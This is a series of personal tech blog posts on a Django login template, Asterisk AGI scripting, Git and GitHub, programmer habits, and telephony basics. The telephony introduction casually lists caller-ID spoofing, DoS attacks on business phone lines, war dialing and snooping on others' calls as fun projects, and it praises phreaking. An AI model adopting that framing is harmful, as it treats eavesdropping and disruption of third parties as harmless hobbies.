 <input type="hidden" name="next" value="/portal/" />
 {% endif %}
 <input type="submit" value="login" />
 </form>
 </section>
{% endblock %}

Now, as you can see, we create a form which performs a POST to itself. This lets the Django login view do its magic. The interesting thing here are the hidden fields and how they are processed:

{% if next %}
 <input type="hidden" name="next" value="{{ next }}" />
{% else %}
 <input type="hidden" name="next" value="/portal/" />
{% endif %}

The hidden field next is special to the login view. It determines where the user is re-directed to after logging in. Let’s say, for example, that a user visits our homepage, and clicks the link there that directs them to /portal/. Since /portal/ requires authentication, it will direct the user to the URL /login/?next=/portal/. This GET argument is sent automatically by the login_required decorator to help inform the login page of where to direct the user after they’ve logged in.

Our code above says “If the user requests a page, and they are not authenticated-then direct them to the login page, and after they’ve logged in send them back to the page they originally requested. If the user simply visited the /login/ page directly, then by default send them to /portal/ once they’ve logged in.”

This is the correct way to handle login and redirection in complex websites as it gives users the maximum amount of flexibility. Don’t you just hate it when you try to visit a website and get into an important protected section, only to discover that after you’ve logged in you are redirected to the main page instead of the page you were trying to get to? You won’t have that problem using Django’s authentication as long as you implement the login template as we did above.

Test It Out

We’re done. So give everything a test. Go to your django_consultants directory and run the command python manage.py runserver to start up the development web server. Then open a browser and visit http://localhost:8000/.

You should be greeted by the main page, and provided with a link to log into the web portal. So click the portal link, and since you are not authenticated, you will be directed to the login page.

Now log in using the username and password you generated when you ran python manage.py syncdb and you’ll see the portal home page! Feel free to play around with logout / login / etc.

Where to Go From Here

For more information and advanced usage of Django authentication, check out the official documentation. The best way to learn is to play around with things, test them out, and get a good feel for how everything works.

Conclusion

Hopefully this article has helped you understand how Django authentication works, and how easy it is to add secure authentication to your website without going through too much trouble. If you have any questions, suggestions, or anything else, feel free to shoot me an email, and I’ll try to get back as quick as I can.

A Technical Introduction to the Asterisk Gateway Interface (AGI)

r@rdegges.com (Randall Degges) — Tue, 16 Feb 2010 00:00:00 -0800

The Asterisk Gateway Interface, commonly referred to as AGI, is a language-independent API for processing calls. It allows programmers to write simple programs to manipulate and route calls on Asterisk servers in a simple, easy manner.

This article provides a technical introduction to the AGI, explaining how it works, how it can be used, where you can find API documentation, and even provides some basic code samples which demonstrate how to use the AGI. The intended audience is programmers, telephony enthusiasts, or IT people who want to learn more about adding functionality to their Asterisk PBX systems. This is not a full programming reference, and will not explain how to write AGI programs, it will merely teach you what the AGI provides and how to use it high-level.

Why Use AGI?

One question that arises frequently is Why do I need to use the AGI? This is a great question, worth discussing. Asterisk provides several ways to perform call logic, namely dial plan, AMI, and AGI.

Dial plan is Asterisk’s native scripting language which is parsed by Asterisk and stored in memory to use for performing call logic. Dial plan is quick, efficient, and easy to learn. There are, however, downsides associated with dial plan. It is very unsophisticated, and doesn’t support standard procedural language constructs (like loops). This means that you will be doing mostly assembly type coding using Goto statements and simple constructs. This makes writing large software tedious and difficult to maintain.

The Asterisk Manager Interface (AMI) is a sophisticated, language independent API for controlling Asterisk through TCP sockets. The AMI is a great solution for software that needs to be ran on remote servers as it can interact with Asterisk across networks. Many click-to-call programs are written using the AMI, as are nearly all of the Asterisk manager programs like HUD, FOP, and Asterisk Assistant. The AMI is great because it allows remote software to completely control the Asterisk PBX: get even status updates, make calls, receive calls, route calls, etc. The downside to using the AMI is that it does not have any good documentation, is known to be buggy and error-prone, and causes significant stress on the PBX.

The AGI is a middle man, lying somewhere between dial plan and the AMI in terms of functionality. The AGI can not be completely independent of the PBX, and requires some dial plan modification to run (unlike the AMI), is not bound to a specific programming language (like the AMI), and can be used either locally or across networks (like the AMI). The AGI is usable only for incoming calls, and is thus no good for purely outbound telephony development. The AGI uses little overhead compared to the AMI, and is a good solution for developers who want to write a module or plugin for Asterisk which can be used on any PBX and implemented quickly and simply without stressing the server. AGI is also a great solution for developers who would like to create telephony programs without learning the Asterisk dial plan. It lets you build applications in whatever programming language you are comfortable with, which can rapidly decrease development time.

The Four Types of AGI

The AGI actually has four ways in which it can be used, each different from the other. There is the standard AGI, dead AGI, fast AGI, and enhanced AGI.

Standard AGI is the simplest, and most widely used form of AGI. Standard AGI scripts run on the local PBX and communicate with Asterisk through socket descriptors (namely STDIN and STDOUT). The standard AGI allows for usage of all AGI commands, and is what this article will be discussing.

The dead AGI is a simplified form of AGI which continues to run after the call has been hung up. This is useful in situations where programming logic needs to be performed after a call has hung up. As dead AGI allows developers to control logic after the call, certain AGI commands are not permitted in its usage. Dead AGI is also deprecated as of Asterisk 1.6, and should not be used.

Fast AGI is the AGI over TCP sockets protocol. It allows for all AGI functionality except EAGI, and is provided as a solution to developers who need to run resource intensive AGI programs. By running the bulk of the AGI logic on another server, the Asterisk server itself can process calls and not worry about handling complex computation for other services. This is the recommended protocol for large applications.

Last is the EAGI. The EAGI communications through file descriptors on the local machine using STDIN and STDOUT, and provides developers a way to access the audio channel directly for the calls being processed. This is rarely used, but gives developers a way to analyze raw audio data.

How to Run an AGI Program

When calls come into the Asterisk server, the dial plan rules process the call and determine where to route it. To launch an AGI program and hand off call processing the AGI program, you will need to use the Asterisk dial plan command AGI. Below is an extremely simple example dial plan which passes all calls to an AGI script for processing.

; This dial plan code passes all call processing to the call-processor.sh shell
; script.

[incoming]
exten => _X.,1,AGI(call-processor.sh)

By default, if no path is specified, Asterisk will look for the script, in this case call-processor.sh, in the directory /var/lib/asterisk/agi-bin. This is the default location for all AGI programs, and should probably be used to store your AGI software. If your program resides in another directory, you may specify an absolute path to the program for Asterisk to use instead.

The program must be executable (on Linux systems that means that the executable bit must be set on your program). You can do this by using the Linux command chmod +x to add the executable bit to your program.

The program must also be readable by Asterisk, this means that it must be in a public directory tree, or a tree that is owned by the user account under which Asterisk runs. Also, don’t forget that your AGI program will be ran by Asterisk, so permissions are necessary to plan out in advance. A common problem new Asterisk developers run into is that they will have their AGI programs write files to a system location, like /etc/, but Asterisk will be running in a restricted environment, so their programs will fail and they will not know why.

Testing AGI Scripts (live)

Running AGI scripts, as explained in the previous section is a simple task. Sometimes, however, debugging AGI scripts can be difficult and time consuming. Often, it is difficult to test AGI programs as you cannot simply print output to the screen as you normally would for debugging purposes. This section briefly covers using the Asterisk command line to watch and debug AGI applications live.

To get started, log into the asterisk console via the asterisk -r command from the shell. Once inside the CLI, run the agi set debug on command to enable verbose AGI output. This will come in handy when troubleshooting your programs. Below is an AGI debug of an AGI application which shows a wide array of information about my AGI application. Take a close look at this debug, and try to make sense of it. I’ll explain what each bit means below.

AGI Tx >> agi_request: hello-world.sh
AGI Tx >> agi_channel: SIP/flowroute-ac10d3c8
AGI Tx >> agi_language: en
AGI Tx >> agi_type: SIP
AGI Tx >> agi_uniqueid: 1266365654.10672
AGI Tx >> agi_version: 1.6.1.1
AGI Tx >> agi_callerid:
AGI Tx >> agi_calleridname: unknown
AGI Tx >> agi_callingpres: 0
AGI Tx >> agi_callingani2: 0
AGI Tx >> agi_callington: 0
AGI Tx >> agi_callingtns: 0
AGI Tx >> agi_dnid:
AGI Tx >> agi_rdnis: unknown
AGI Tx >> agi_context: inbound
AGI Tx >> agi_extension:
AGI Tx >> agi_priority: 1
AGI Tx >> agi_enhanced: 0.0
AGI Tx >> agi_accountcode:
AGI Tx >> agi_threadid: 1097206080
AGI Tx >>
AGI Rx << ANSWER
AGI Tx >> 200 result=0
AGI Rx << NOOP hello, world!
AGI Tx >> 200 result=0
AGI Rx << HANGUP
AGI Tx >> 200 result=1

Now, the first thing to note is that every line starts with the channel ID of the call, this way, calls can be traced even on very busy servers. If you have a lot of call traffic, filtering out lines by their channel ID can help improve visibility. A great way to do this is to use grep, ex: asterisk -r | grep from the command line.

AGI applications send commands to Asterisk via STDOUT, and Asterisk sends data to your AGI programs via STDIN.

After the channel ID, you’ll see AGI followed by either Tx or Rx. Tx stands for transmit, and means that Asterisk is transmitting the following information into the STDIN buffer for your AGI program to use if it desires. Lines which begin with Rx (receive) display information that your AGI program is sending to Asterisk into the STDOUT buffer. If you ever find yourself wondering what response you are getting after sending a command to Asterisk via AGI, you can always look at the Tx lines to see what Asterisk says.

The first 21 lines of output are all transmissions from Asterisk, which are sent into the STDIN buffer for your program to use if it wishes. Each of these lines defines a call variable which contains information about the call that is currently being processed. This information may be used by your programs to figure out things like what caller ID the person calling is using, what number they called, what dial plan context were they in before hitting your AGI application, what language the call is in, what version of Asterisk is being used, etc.

Note that this initial list of variables is terminated by a single empty line. So when writing software to parse in these variables, always keep parsing until you read in an empty line. That is how you can tell that there is no further input.

The next few lines are dialog between our AGI application and Asterisk. The Rx lines show AGI commands which were sent to Asterisk for processing, and the following Tx lines show Asterisk responses.

AGI Hello World Application

In the previous section, we looked at an AGI call log. Now let’s examine the AGI application which ran and generated that call log. What follows is an extremely simple AGI application which simply outputs hello, world! to the AGI debug output.

#!/bin/bash

echo "ANSWER"
echo "NOOP hello, world!"
echo "HANGUP"

This program completely disregards all of the variables that Asterisk passed into STDIN when it spawned a new thread for our AGI application, and only writes three AGI commands to STDOUT (which is how our application communicates with Asterisk).

The first command we send is ANSWER, which does nothing but answer the call (establishes an audio connection with the remote end, so that the call starts getting billed). The second command we send is a NOOP, which only outputs the text that follows it onto the AGI debug screen of the CLI. Lastly, we send the HANGUP command which ends the call.

Simple enough? Now, go ahead and try to run this program yourself. Test it out, understand what is happening, and make it work.

One thing you may notice is that you may get some errors on the CLI while watching your program run. Usually they look something like this:

[Feb 16 19:14:15] ERROR[25770]: utils.c:1126 ast_carefulwrite: write() returned error: Broken pipe
[Feb 16 19:14:15] ERROR[25770]: utils.c:1126 ast_carefulwrite: write() returned error: Broken pipe

Feel free to ignore those errors. Those are generated when your AGI application does not read in all data from STDIN before your program closes.

In most real world applications, you’ll want to read in Asterisk responses so that you know whether or not your commands executed successfully, and can grab important information about the call being processed, but for this example, we don’t care, so we didn’t.

Passing Arguments to Your AGI Application

Now that you know how to write and use basic AGI scripts, let’s get a little more advanced. Many complex AGI applications may need more advanced data given to them than what Asterisk natively provides. Luckily, the Asterisk dial plan command AGI allows for us to pass up to 127 arguments to our AGI application. This should be sufficient for most needs.

To pass arguments from the dial plan to your AGI script, you can simply add them in a comma delimited list after your AGI application path is specified:

exten => s,1,AGI(hello-world.sh,arg1,arg2,arg3)

As you’ll notice in the above example, I did not put spaces after each comma. That is because if you add spaces, Asterisk will interpret them literally and your program will receive the argument with a space character prepended to it. This may (or may not) be desirable, based on your application specifications.

The arguments will be available to your AGI application both via the standard argument list and via the initial Asterisk variable list. Each programming language handles it differently. Here is an AGI log which shows our old hello-world.sh program being called with 3 arguments:

AGI Tx >> agi_request: hello-world.sh
AGI Tx >> agi_channel: SIP/flowroute-ac10d3c8
AGI Tx >> agi_language: en
AGI Tx >> agi_type: SIP
AGI Tx >> agi_uniqueid: 1266365654.10672
AGI Tx >> agi_version: 1.6.1.1
AGI Tx >> agi_callerid:
AGI Tx >> agi_calleridname: unknown
AGI Tx >> agi_callingpres: 0
AGI Tx >> agi_callingani2: 0
AGI Tx >> agi_callington: 0
AGI Tx >> agi_callingtns: 0
AGI Tx >> agi_dnid:
AGI Tx >> agi_rdnis: unknown
AGI Tx >> agi_context: inbound
AGI Tx >> agi_extension:
AGI Tx >> agi_priority: 1
AGI Tx >> agi_enhanced: 0.0
AGI Tx >> agi_accountcode:
AGI Tx >> agi_threadid: 1097206080
AGI Tx >> agi_arg_1: arg1
AGI Tx >> agi_arg_2: arg2
AGI Tx >> agi_arg_3: arg3
AGI Tx >>
AGI Rx << ANSWER
AGI Tx >> 200 result=0
AGI Rx << NOOP hello, world!
AGI Tx >> 200 result=0
AGI Rx << HANGUP
AGI Tx >> 200 result=1

As you can see, after the initial arguments have been passed, Asterisk simply adds a new line with for each additional argument passed to the AGI script. This makes reading in these variables easy and doesn’t require any extra effort on your part.

Where to Get AGI Information

Now that we’ve introduced and explained how AGI programs work, there is nothing left to do except start writing some for yourself! The definitive reference to AGI commands and functions can be found on VoIP Info’s AGI page.

If you are comfortable with Asterisk dial plan, you’ll easily pick up the AGI commands. If you have no prior experience, then look for some references / examples in the VoIP info page as they have numerous examples and help available.

Get Outside

r@rdegges.com (Randall Degges) — Sat, 13 Feb 2010 00:00:00 -0800

The stereotype of a computer programmer is a harsh (and mostly true) one. The typical computer programmer lives inside, in small dark rooms, typing away for hours at a time behind large monitors and drinking highly caffeinated drinks. Now, this isn’t a bad thing (quite the other way, actually), but it does definitely have an effect on your life. I have been living this lifestyle for quite a while, and only recently begun to change my habits around to avoid the madness that was once my life. While I definitely love the hacker lifestyle, and it totally suits my personality, something was definitely missing: real life.

For me, the change happened when I got out of school and started working full time. I actually had a schedule to follow, had to wake up early, drive into the office, etc. This was a huge change, as I was actually awake during the day and night instead of just the night. I really hated it at first, but after a while it grows on you. The sunlight made a big difference. And over time, I just gradually came to appreciate the outdoors more and more. Now, I have a hard time going for an entire day without stepping outside for at least a few minutes to get some fresh air. Being outside clears my head, makes me feel refreshed, and just generally de-frustrates me. Sometimes sitting inside for like 20 hours straight trying to figure out why my CSS won’t render on IE, Chrome, and Firefox will drive me mad, and the only way to escape is to go outside for a few minutes and walk around.

So after analysing this situation for a while in my head. I came to the conclusion that many programmers, like myself, probably never go outside because they’ve never really gotten the time. There are tons of things that prevent you from doing it: work, learning, trying to finish that one bit of code, munchies, sleep schedules, etc.

So why should you ever go outside anyway? Lots of reasons. It helps clear your head, gets you some vitamin D, makes you feel more human, and just generally increases your happiness.

So now you just need to find a way to get outside more often. Here are my suggestions (learned from experience):

Take a break from coding when you get stuck on a difficult problem, and walk outside for a few minutes.
Get a laptop, and go to a public place with free wifi.
Get a daytime job.
Get a pet (and take them to the park every now and then).
Get a girlfriend (I’ve heard they like to do things that are not always inside).
While these suggestions are obvious, clear things, they really do help. If nothing else, I’d recommend getting a laptop and doing some work outside. Just make sure you have one of those glare-resistant screens (nothing is worse than sitting outside with a laptop if it has one of those shitty reflective screens).

So, in conclusion: get outside every now and then. It’ll clear your head, help you program better, and keep your sanity in check.

Writing is Hard

r@rdegges.com (Randall Degges) — Fri, 12 Feb 2010 00:00:00 -0800

One thing I am absolutely horrible at is writing. I may be able to throw a few sentences together, but I am absolutely horrible at writing. Why is that? Mostly because I’m afraid. There are so many things I’d like to write about, new programming ideas, new techniques learned, interesting technical and non-technical content, but I never make myself do it. I’ll get started, open up my editor, pick a topic, and start writing-but never find the will to finish.

I was reflecting on this all last week, and came to the conclusion that I hate to fail. When I start writing, I envision a perfect article / blog post / paper that everyone will love, and that will be absolutely perfect. But when I actually start writing, I realize how much energy and effort is required in order to make it as perfect as I envision, and then give up, knowing that I will not be able to reach that level.

So I’m making a resolution with myself that I’ll try to strictly enforce: if I start writing something I will finish it, no matter how bad it turns out to be.

I think it will be a great learning tool for me, to force myself to improve as a writer and a thinker, and I’m looking forward to it.

Writing is hard.

My Git

r@rdegges.com (Randall Degges) — Fri, 04 Dec 2009 00:00:00 -0800

A few days back I ordered a copy of Scott Chacon’s book: Pro Git, which I am really enjoying reading. Scott is an excellent writer, and really does justice to Git. I was reflecting on his enthusiasm, and thinking about my own. Here are my thoughts on Git, and my experience with it over the years.

I started using Git around 2 years ago when I saw a screencast discussing it online. What initially drew me to Git was that it was created by Linus (who was very enthusiastic about it), and that my previous experiences with version control systems (VCS) were horrible. Naturally, I wanted to give it a try, and get back to the best-practices way of doing things (using a VCS).

When I first learned about VCS, pretty much everyone used SVN or CVS. When I researched them both, there was no doubt in my mind that SVN was clearly the most popular, and so that’s what I decided to learn. I started using SVN for all of my code (most of it was hosted on SourceForge at some point or another), and learned it well enough to push periodic updates to my projects and do basic collaboration with a few other people.

However, I never really liked SVN. It was always slow and time consuming to perform commits (something that you should do extremely frequently), so I just stopped doing them often. This got me into the bad habit of only performing a commit for a release, something that is definitely frowned upon, and completely nullifies any benefits that you get from using a VCS in the first place! To make the situation even worse: at the time, a good portion of the code I was writing was offline. This meant that I was unable to make commits when working on my code, as without an internet connection I couldn’t connect to the remote repository.

Using SVN also imposed limits on my work with others. A lot of the projects I worked on required collaboration with several other people. Using SVN slowed the process down. Performing merges, managing access rights, and doing SVN updates always took a lot of time. Also, if the SVN repository was down, it meant that nobody could access the source or project history, which made team effort difficult.

The other large issue I had (and still have) with SVN is that there are no good project hosting websites out there which meet my needs. SourceForge, which is probably the largest and most popular SVN project hosting site is slow, filled with ads, and has an unintuitive interface. It also requires approval for every project which can sometimes take hours. What I want in a project hosting site is something that:

Has a clean and pretty interface with no (or few) ads.
Allows developers to instantly create a new project and get to work.
Makes managing access rights and collaboration simple.
Allows private projects, which are necessary for proprietary code.
Has an issue tracker for each project, which allows advanced categorization of bugs and fixes. Something that makes it easy for both users to submit issues (and propose fixes), and developers to close bugs and keep it organized.
Allows you to store large projects and releases.
Has a pretty source viewer so that users can casually browse any version of your source code through a simple navigation window, and can permalink to any piece of code at their whim.
Allows users to embed snippets of code in their web pages for display on other sites.
Has pretty URLs, none of that ?p=155 stuff.
Has a wiki system that looks nice and is simple to navigate for users.
Has detailed graphs and statistics for each project.
Has some sort of ‘watch’ or ‘follow’ functionality which allows users to monitor the status of a project over time.

Enter Git. Git felt like it was designed for me.

As a developer who works on many projects small and large, I need a VCS which will be as flexible as I am.

Git is fully distributed, so no matter where I am or how many people are working on a project, I always have complete access to all revisions of the source. There are no file deltas (Git stores the entire file), and I can instantly see what the source looked like at any given time in the project’s history whether I’m online or offline. This gives me the flexibility to get work done wherever I am, whether it be on a plane, at the beach, or in the park. When you perform commits in Git, the files are checked into your local repository. Once you have internet access, you can push to your remote repository and add your full history straight into the project as if you were online the entire time.

Git also makes collaboration a simple process. I don’t have to manage a Git database and allow access to certain users: when someone makes a patch or adds code, they can simply link me to their Git repository, and I can merge it into the project at my leisure. This has the added benefit of being able to see all of the source contributor’s history in my project once I have merged the branches together. This makes working with other people extremely easy and reduces the hassle of managing a large monolithic SVN repository.

Git also handles merging and re-basing beautifully. When conflicts arise I am notified, and the current working revision is put on hold until these errors are fixed or stashed. Git adds the appropriate conflict information to my files so I can see exactly what is conflicting, and how it needs to be changed to progress.

Lastly, Git has an great community, and GitHub. GitHub is the ultimate project hosting site. You can create projects instantly and store large files. You can also store all of your SSH keys for the various systems you work on, thereby showing different commit users and / or messages. GitHub has a simple and intuitive web interface which looks great, and has clean functionality for users, developers, and people exploring the site.

The GitHub source viewer is nice as well. It lets you browse the entire history of the project, you can see a full snapshot of exactly what the source looked like at any given time. It also allows you to get a direct permalink to any particular source file from any revision in the project’s history. This is extremely useful for source review and any sort of online publishing / collaboration tools.

One of my favorite GitHub features is the ability to instantly ‘fork’ a project. Forking a project is extremely easy, simply click the ‘fork’ button on the project you’d like to fork. GitHub will instantly copy the projects source / history to your account, and automatically create your own Git repository for the project which you can change and modify all you like. This is very useful, as if you see a project you’d like to make a patch for, you can fork it, make the patch, and link the real project owner to your forked repository, where they can then merge in your changes! It’s also useful for people who just want to make their own modifications to a project. GitHub’s forking provides an elegant solution to a common problem.

Yet another nice feature of GitHub is it’s social networking type feel. Every account can ‘watch projects’, send private messages, add and remove friends, and get instant updates when your friends add / remove code to their projects. GitHub is also releasing a resume searching tool on their site at some point in the near future, and they have already implemented resume pages for each user who wishes to add to them. This means that in addition to providing project hosting, they’ll also be able to help companies find talented programmers based on their actual work!

GitHub also has many other neat features including a wiki system, statistics system for gathering project stats, and a language browsing feature which makes finding new projects in your favorite programming languages fun.

Since learning Git, and discovering all the nice features that it offers (in addition to the general awesomeness of GitHub), I think that I’ve definitely become a better programmer. Git has helped me remedy my bad habits by making the committing and merging systems thoughtless, and has given me the ability to really get the most out of my coding experiences. Git has also made running an contributing to open source projects fun again, and that what it is all about.

Transparent Telephony - Part 1 - An Introduction

r@rdegges.com (Randall Degges) — Mon, 31 Aug 2009 00:00:00 -0700

So you’ve probably heard the word telephony thrown around from time to time. Maybe you were hanging out in a certain IRC channel, wanted to root your cell phone, or maybe, just maybe, you were actually interested in doing something cool with your computers and phones.

This article is the first of a series. I’m going to try my best to explain what telephony is, how it works, and how to write cool programs that integrate voice and data. Telephony is a huge market, and used everywhere (think cell phones). We are living in a time when telephony is casual, common, and popular. While being so huge, it often astounds me to think of how few programmers and tech people ever get around to learning about it, or playing with it. There are very few telephony programmers, and even less proper documentation. My hopes are that these articles will give you a solid foundation in telephony and inspire you to play around with it on your own, and do cool things.

Now that we’ve got the basics out of the way, let’s get down to business…

PSTN

Before we get into any setup or detailed information, we need to cover the global network which allows interconnection between telephones. This is referred to as the PSTN (public switched telephone network). The PSTN is much like the Internet as it provides a system of routing to move calls from one phone to another. Traditionally, the PSTN consisted of analog devices and relays which carried voice from phone A to phone B, but in recent years the PSTN has been increasingly digitized.

The digital circuit in the PSTN is a 64 Kbps channel, and all audio is digitized at 8 kHz. That is, the highest quality voice you can get while making phone calls across the PSTN is 8 kHz (horribly low compared to a standard mp3, most mp3s are sampled at 48 kHz).

When you place a call from a home analog line, your call is sent to your LEC (local exchange carrier) who then routes your call accordingly through the PSTN to the desired destination. Details beyond this point are not necessary for the purposes of this article, but there is a lot of interesting information on Wikipedia regarding the history and development of the PSTN.

Connecting to the PSTN

There are many ways to connect to the PSTN. Chances are, you’ve probably only seen / used a few on a regular basis.

That phone sitting in your parent’s house, hooked up to that analog line (or maybe DSL) is a standard POTS (plain old telephone service) line. These are used all over the place, pretty much everyone uses these as ‘house lines’, and many small businesses use them as well to get basic phone / fax service.

The next most popular way to connect to the PSTN is mobile lines (cell phones). Everyone has a cell phone now-a-days.

Next we have T1 / E1. These are primarily business lines, and are dedicated for voice communications. The T1 is the American version, and the E1 is the European version. T1 / E1 lines can carry 24 calls over them, which is what makes them very appealing to businesses. It’s also a lot cheaper to use a dedicated T1 / E1 line as opposed to purchased 24 separate analog lines.

A PRI / BRI line is very similar to a T1 / E1 line, except that it supports 23 calls max, and can handle more traffic due to it having a dedicated data channel for performing call setup and tear downs, as well as passing caller ID and other information, making it more efficient. Again, the PRI is the American standard, while the BRI is the European standard.

VoIP (voice over IP) is a relatively new way to connect to the PSTN using the Internet. VoIP is extremely low-cost compared to other methods, and very easy to setup as it only requires an active Internet connection to use. More and more businesses are switching over to VoIP for cost reasons.

These are the basic types of lines people use to connect to the PSTN. There are others, but I don’t think they are worth mentioning here. Most businesses use T1 / PRI lines because they are reliable. VoIP is a great way to get phone service, but is still a very new protocol. One large problem with VoIP is reliability, as it depends on the Internet for routing traffic. This of course causes problems as businesses who lose Internet connectivity will be unable to place and receive calls, unlike analog or dedicated digital lines.

I personally use VoIP for everything: my home lines, programming, business stuff, and everything in between. I’d highly recommend that if you want to experiment with telephony and programming, that you get a VoIP line (I’ll cover all this later).

Phone Servers (PBXs)

A PBX (private branch exchange) is a device which provides phone service to phones on a private network. Think of a PBX as a router, it connects telephones together to form a private network, and acts as a portal allowing PSTN access for phones that it serves. PBXs will be the focus of almost all my future articles, as they are what allow us to do cool stuff with telephony.

There are tons of different kinds of PBXs. Pretty much every business has a PBX, or pays a company to host a PBX for them (just google PBX and you’ll see what I mean). Why does anyone need a PBX? Well, PBXs provide different services to the phones it has connected to it. Most PBXs offer services like:

Voice-mail.
Extensions (give each user a private phone number, kinda like a private IP).
Call forwarding (users can forward calls to their cell phones).
Auto attendants (‘Welcome to My Company, press 1 for sales, 2 for support, …’).
Routing for phone numbers (you can have multiple phone numbers, and route them to different phones).
Paging and intercom (‘Sale on soup on aisle 5’).
Call recording.
And many other things.

The neat thing about PBXs is that they aren’t as complex as you would think! They are just computers, loaded with special software, and fully programmable. Some of the most popular PBXs are Cisco, Avaya, and Asterisk. Cisco and Avaya are proprietary and expensive, whereas Asterisk is free and open source. Asterisk also supports all of the features of the proprietary PBXs, and many more.

Open Source Telephony With Asterisk

Back in 1999, Mark Spencer created Asterisk. It’s a free, open source PBX system that is easily installable and usable on any Linux based operating system. Since it’s creation, it has become one of the largest, most used PBX systems in the world. I’m a pro with Asterisk, and we will use it as our official PBX for all of my tutorials. You will master it. Asterisk can provide reliable call routing for thousands of calls simultaneously, which makes it ideal not only for small business usage, but for medium, large, and even enterprise usage.

In additional to being a great free PBX, Asterisk has also created a huge market. Tons of companies sell Asterisk-based phone systems to people, and many more sell custom programs and setup services to businesses looking to save money by going open source.

For programmers (like most of you), Asterisk provides many great features for developing your own telephony applications. Stuff like the AGI (asterisk Gateway interface), AMI (Asterisk manager interface), dialplan (Asterisk core scripting language), call files, and many other features. I’ll cover all of these items later in this series.

As you’ve probably guessed, Asterisk makes integrating voice service with pretty much anything else a breeze. This is one of the reasons why Asterisk is so powerful, and why telephony rules. Not because it’s ‘cool’ to talk on the phone, but because we can integrate so many other things with it.

Putting it All Together

Now that we’ve covered the core components that make telephony work, let’s see how it all works together in a nice diagram :) Excuse my horrible art skills, this is the best I could come up with:

The PBX connects to the PSTN and acts as a gateway for all phones and programs running on it to connect with the outside world. The PBX provides services and routing for calls via whatever PSTN connection you are using (PRI / BRI / T1 / E1 / POTS / VoIP).

Neat Things You Can Do With Telephony

When I first started learning about telephony, it was for my work, and I didn’t find it all that interesting. That is, until I learned all the cool things that you can do with it. So I’ve listed some things below which are just basic examples of things you can do (through simple telephony programming). If you have any interest in this stuff, be sure to read the rest of this series, and pwn telephony!

Spoof your caller ID.
Change your voice.
DoS phone lines (cripple a business’ phone line).
War dialing.
Snoop on other people’s phone calls.
Encrypt phone conversations.
Automatically call people.
Add functionality to your cell phone (record calls, spoof numbers, reboot your home router, open your garage door, etc.)
Send text messages for free, receive text messages and do stuff based on the messages.
Setup advanced auto attendants.
Create conference calls.
Place / receive video calls.
Make international calls for cheap / free.

Sounds Cool, What Next?

Dive right into the action. The next article in the series will cover setting up your very own Asterisk PBX system. I’ll have detailed setup information, and we’ll walk through a complete installation step-by-step. You don’t need a dedicated computer for this (even though it does make things a bit simpler), all you’ll need is an Internet connection, and about 1 hour for setup.

Motivation

My motivation for writing this series is to get people involved in the telephony world. There is a huge lack of telephony programmers, and as a result, there aren’t that many cool telephony-based services. Also, the phreaking scene has all but completely died off, and I think it is time to reinvent the telephony hackers underground!